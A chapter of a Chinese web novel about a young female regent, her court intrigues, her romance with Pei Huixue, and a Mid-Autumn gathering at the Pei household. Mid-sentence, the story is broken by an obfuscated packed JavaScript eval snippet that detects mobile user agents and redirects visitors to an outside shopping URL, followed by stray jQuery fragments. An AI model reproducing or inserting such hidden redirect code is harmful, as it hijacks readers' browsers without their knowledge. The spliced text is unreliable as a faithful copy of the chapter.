52. 裴府

作品:《她是女帝,但人人争抢

    翌日,为了庆祝小皇上即位百日,楼盏眠让他上了朝,当着朝臣的面,楼盏眠把代表安王的木人和代表自己的木人拿了出来,问:“陛下,臣和安王,你更信任谁?”


    明妃也在殿上,听到这话吓得花容失色,毕竟安王若是入京,她的孩子很可能地位不保,但是楼盏眠在的话,明妃觉得以她对后宫众人的爱护之心,不至于对他们孤儿寡母痛下狠手。


    要说也奇怪,两个木人刻得一点也不像,只在背后刺上了名字,小皇上连字也不认识的情况下,竟然握住了代表楼盏眠的那个木人。


    原因无他,小皇上喜欢用自己的左手抓东西,楼盏眠刚好把自己的木人放在他左手的方位。


    但众臣并不知道。


    朝廷中本来提心吊胆的众臣,看到这一幕都十分吃惊。


    楼盏眠把小皇上拿着自己的木人的左手扬了起来,对在场的大臣说:“陛下说臣楼盏眠更值得信任,若是安王入京,当以谋逆论,同谋之臣,斩立决。”


    殿中,大臣们哗啦啦跪了一地,口中都高呼道:“臣等谨遵陛下旨意。”


    下朝后,楼盏眠和洛云归走在一起,洛云归没忍住笑,说:“献玉,我只听说你要让皇上听你的,没听说你要这么弄啊,这样不会让有些人更忌惮你吗?”


    “他们忌惮是对的。”楼盏眠说:“陛下也快到进学的年龄了,子期,不然你入宫当个大学士?”


    “你放心我?”洛云归问。


    “目前是放心的。”


    两人对视一眼,哈哈大笑。


    出了宫门,裴晦雪又在等着楼盏眠,楼盏眠和洛云归告了别,朝着马车走去。


    洛云归瞥去一眼,看到一个矜贵的男子用手挑开帘子,也朝他的方向看了一眼,洛云归的眼神称不上友善。


    楼盏眠快步上车,那人脸上很快显出微笑,看起来温柔极了,帘子落下,遮住了洛云归窥视的目光。


    “盏眠,你和洛家的关系修复了吗?”车上,裴晦雪问道。


    正是柔情蜜意的时候,楼盏眠又忙了起来,裴晦雪也很久没有和她像这样聊天了,本来想说些日常小事,但是还是更关心她遇到的大事。


    “不错。”


    “洛家为人公允,不至虚伪。”裴晦雪说:“只是,之前的事毕竟让你们生出了龃龉,盏眠,你也不可太放心了。”


    “我知道。”


    裴晦雪忽然明白,若是洛云归不主动和楼盏眠结仇,那两人会一直是同窗好友的关系。


    他视他为又一个眼中钉,而他却自然融入了楼盏眠的生活,仿佛楼盏眠的生命里,一直有他的一席之地。


    楼盏眠想着这两天是有点冷落了裴晦雪,她也听到过京中的风言风语,说是她为了掌权才和裴家联姻,把她说成一个冷血的精明的野心家,这些话想必裴晦雪也听到了。


    “晦雪,马上要中秋了,我该去你家正式问候一番。裴家之人,皆是我楼盏眠的亲族。”楼盏眠表态道。


    “好的。”裴晦雪握住她的手,说:“让你费心了。”


    本是高兴的事,但是楼盏眠的眉头微蹙,这让裴晦雪很在意,甚至微微吃醋,刚才她和洛云归在一起的时候明明笑得那么开心。


    裴晦雪说:“盏眠,你如果有什么烦心事,都可以和我说。我和之前不一样,也希望自己可以为你分忧。”


    前世楼盏眠甚少和他说宫中之事,现在也是报喜不报忧,却不知道在为什么而烦恼。


    他抚平楼盏眠皱着的眉,说:“自从你我在一起后,感觉盏眠你蹙着眉的时候更多了,莫非是不开心吗?”


    “这完全是你多想了。”楼盏眠自己倒没有意识到,不过这可能是真的,她在平静的状态下想事,就容易皱眉。


    这恰恰是她对裴晦雪毫无保留的表现。


    “其实是宁王之事。”楼盏眠说:“我在想,要不要索性蛮横到底,把宁王从这里赶出去,再夺了他的兵权。”


    裴晦雪没想到她一开口就是这种话,果然盏眠在考虑的事情都和他不一样,像他满脑子想着,刚才那个洛公子恨不得把眼睛粘过来,但盏眠一点也不放在心上。


    也没发现他吃醋了。


    “宁王一直待在京城,确实不像话。”裴晦雪说:“今天上朝时发生的事情我也听说了,这样一来,宁王和安王都没法再出手了吧?如果还不走,确实该给他们一点教训看看。”


    两人思考起对策来。


    与此同时。


    宿枕离听到了楼盏眠和裴晦雪在湖上画舫的佳话,疾病颇不能自控。


    鬼面人走了出来,说:“陛下,事到如今,你也该下手了吧?”


    宿枕离没想到自己的让步,会让她彻底的不再属于自己。


    不,她从未属于过自己。


    这毒,控制住的,仅仅是他一个人而已。


    他打开案上的书册,从里面,拿出一张仍有旧香的笺纸,上面赫然列着楼盏眠的私印。


    “说她通敌,不知北朝的诸位大臣会作何感想?”鬼面也看到了这张笺纸,说道。


    宿枕离一直在犹豫,要不要用当年的这份感情,当做勒索她的工具,但是,那份旧情看来也只有自己一个人在乎了。


    工部一直是楼家的楼澈在掌管,最近,楼澈在青石山上修建了一座楼宇,想要将其赠送给楼盏眠。


    毕竟如果不是楼盏眠,他们楼家不肯能有今天的地位。


    楼宇即将落成之时,楼澈找到楼盏眠,让她为这座楼取名。


    “自古‘楼’总与‘月’相连,不如取名望月楼如何?”楼澈问。


    楼盏眠怔了一下。


    楼澈说:“中秋节要到了,便送与长姐,邀请裴大人一同赏月。”


    虽然楼盏眠的年龄比自己小,但是楼澈就是从她身上看出了一种长姐才有的风范,所以称呼她为长姐。


    楼盏眠点点头,但这让她想起了在宫中那个夜晚,有一个人对她说,如果可以和她共赏明月,于愿足矣。


    怎么忽然想起了谢弃问,她也真够奇怪的。现在他人不知道去哪里了,要是遇见了她,恐怕要做的第一件事便是和她拼个你死我活。


    “那就叫望月楼吧。”楼盏眠说:“只是中秋我和晦雪约好去他家,这么好的楼宇,当日恐不能到。”


    楼澈说:“无妨,中秋之后的一天,十六日的月亮更圆。长姐平时太过操劳,趁节庆之日该多休息两日。”


    楼盏眠笑了,说:“你倒贴心。”


    前世没有体会过的亲情,这辈子在没有血缘关系的人身上竟然感觉到了,楼盏眠觉得奇怪,所以,血缘到底是什么呢?


    接着楼澈又说:“叔父寄来一封信,想问问长姐,没有找到谢弃问的下落该怎么办。”


    “他害怕?”


    楼澈道:“叔父确实说,自从那天看到了谢弃问拼死搏斗的场景后,夜里都会梦到谢弃问反过来追杀他,他说那等人,若是将他放跑了,将来恢复生息后,第一件做的事便是向他索命。”


    楼胤为此惊悸不已,药石无效,确实被吓惨了。


    “你让他把心放在肚子里。”楼盏眠说:“即便谢弃问要找楼家的麻烦,第一个要找的人也是我。让楼胤去伏击谢弃问的命令是我下的,这一点谢弃问也很清楚。”


    “之前还听说在宫里见到过谢弃问……”楼澈说:“如此阴魂不散的,不光我们忧心,就连谢家也不得安宁,长此以往,我们两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384770|194951||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家不会出什么嫌隙吧?”


    “我知道你的顾虑了。”楼盏眠说:“我会把这件事放在心上的。”


    谢弃问人在哪里,要做什么,楼盏眠不清楚。明知杀了谢弃问以绝后患才是正确的做法,但是楼盏眠认为是天意让谢弃问活下来了,现在也觉得此人不能杀,至于为什么,她也不知道。


    中秋当日。


    在裴府举办了盛大的宴席,楼盏眠为裴府上下皆准备了中秋之礼,人人赞不绝口,稳固了两家的情谊。


    与楼盏眠成亲的那位庶女裴竹意曾经给远在京城之外的裴晦雪写信,说她不想和人成亲,裴晦雪帮她压下了婚事,后来,她便记着裴晦雪恩情。并且,她自己也不想为人妾,或是看着自己的丈夫纳妾,想着终身不嫁也罢。


    后来得知了裴晦雪和楼盏眠的想法,她便决定要当这个假的婚姻对象。这件事,在裴府虽然没有说开,但是大家都知道裴晦雪和楼盏眠才是一对。


    “没想到楼大人便是裴堂哥的心上人。”裴晦雪的堂妹裴嫣儿看到两人从人群中脱出身来,在院子里说悄悄话,嬉笑着跑了过来。


    “嫣儿,别胡闹。”裴晦雪知她爱闹,怕她冲撞了楼盏眠。


    裴嫣儿吐了吐舌,准备离开。


    楼盏眠觉得有趣,叫住她问:“你叫嫣儿?我和你堂哥在一起,你会祝福我们吗?”


    “如果对手是别人,我可能还能努努力,但是若是楼大人的话,只能老实投降了。”嫣儿做了个投降的手势,笑道。


    裴晦雪十分无奈,他来到楼盏眠身边坐下,说:“盏眠,你别多想,嫣儿她就是比较跳脱,一直把我当成哥哥来看待,喜欢恶作剧,我们之间没有她说的那种感情。”


    “哥哥?”楼盏眠笑说:“那我还真羡慕,嫣儿有个晦雪这样的哥哥。”


    裴晦雪脸一下红了。


    “楼大人,你可一定要对我堂哥好一点,他可是难得的痴心人呢,当年他离京的时候,京城哪个姑娘不想着他念着他?”裴嫣儿何曾见过裴晦雪这模样,不由打趣道。


    “又在胡说。”裴晦雪说:“快去别处玩,我和盏眠有其他事要说。”


    “堂哥这么护着楼大人,还真是痴情!”裴嫣儿笑得合不拢嘴。


    楼盏眠点了点头,说:“原来还有这种事,晦雪名声好,一看就会对妻子关怀备至,受到欢迎是自然的。我也得对晦雪好一些,免得将来被人拐走了。”


    裴嫣儿说:“可不呢,堂哥是家里的命根子,虽然我有些嫉妒,但是确实如此,老爷子认可你把他交给你,你们一定要好好的!”


    楼盏眠自然也知道,若不是裴晦雪执意促成婚事,家人又爱他如命,这么荒唐的替婚一定不可能达成。她还得多为裴家做些力所能及的事情,让裴老爷知道裴晦雪选择她没选错人。


    裴晦雪看他在思考,问:“盏眠,你没生气吧。”


    “一点儿都没。”楼盏眠说:“我还不至于这么小气,只想着要如何补偿你。”


    “你能在我身边就足够了。”


    “裴哥哥。”楼盏眠笑道:”那我今晚也如此叫你可好?”


    裴晦雪动摇的转过身去,说:“你就会笑话我。”


    楼盏眠爱意翻涌,拉住裴晦雪的手说:“晦雪,前面有秋千,我们一起试试吧。”


    裴晦雪只在还是小孩的时候荡过秋千,如今和楼盏眠一起坐在秋千上,因为是两个人,所以挨得极近。裴晦雪似是害羞了,楼盏眠偏想逗他,凑近在他肩膀上,两人呼吸可闻。


    “盏眠,别闹了,要掉下去了。”裴晦雪说着,却搂住了她的腰。


    彼此挽着手搂着腰荡秋千,好一对神仙眷侣,裴府的人看了都吃吃的笑。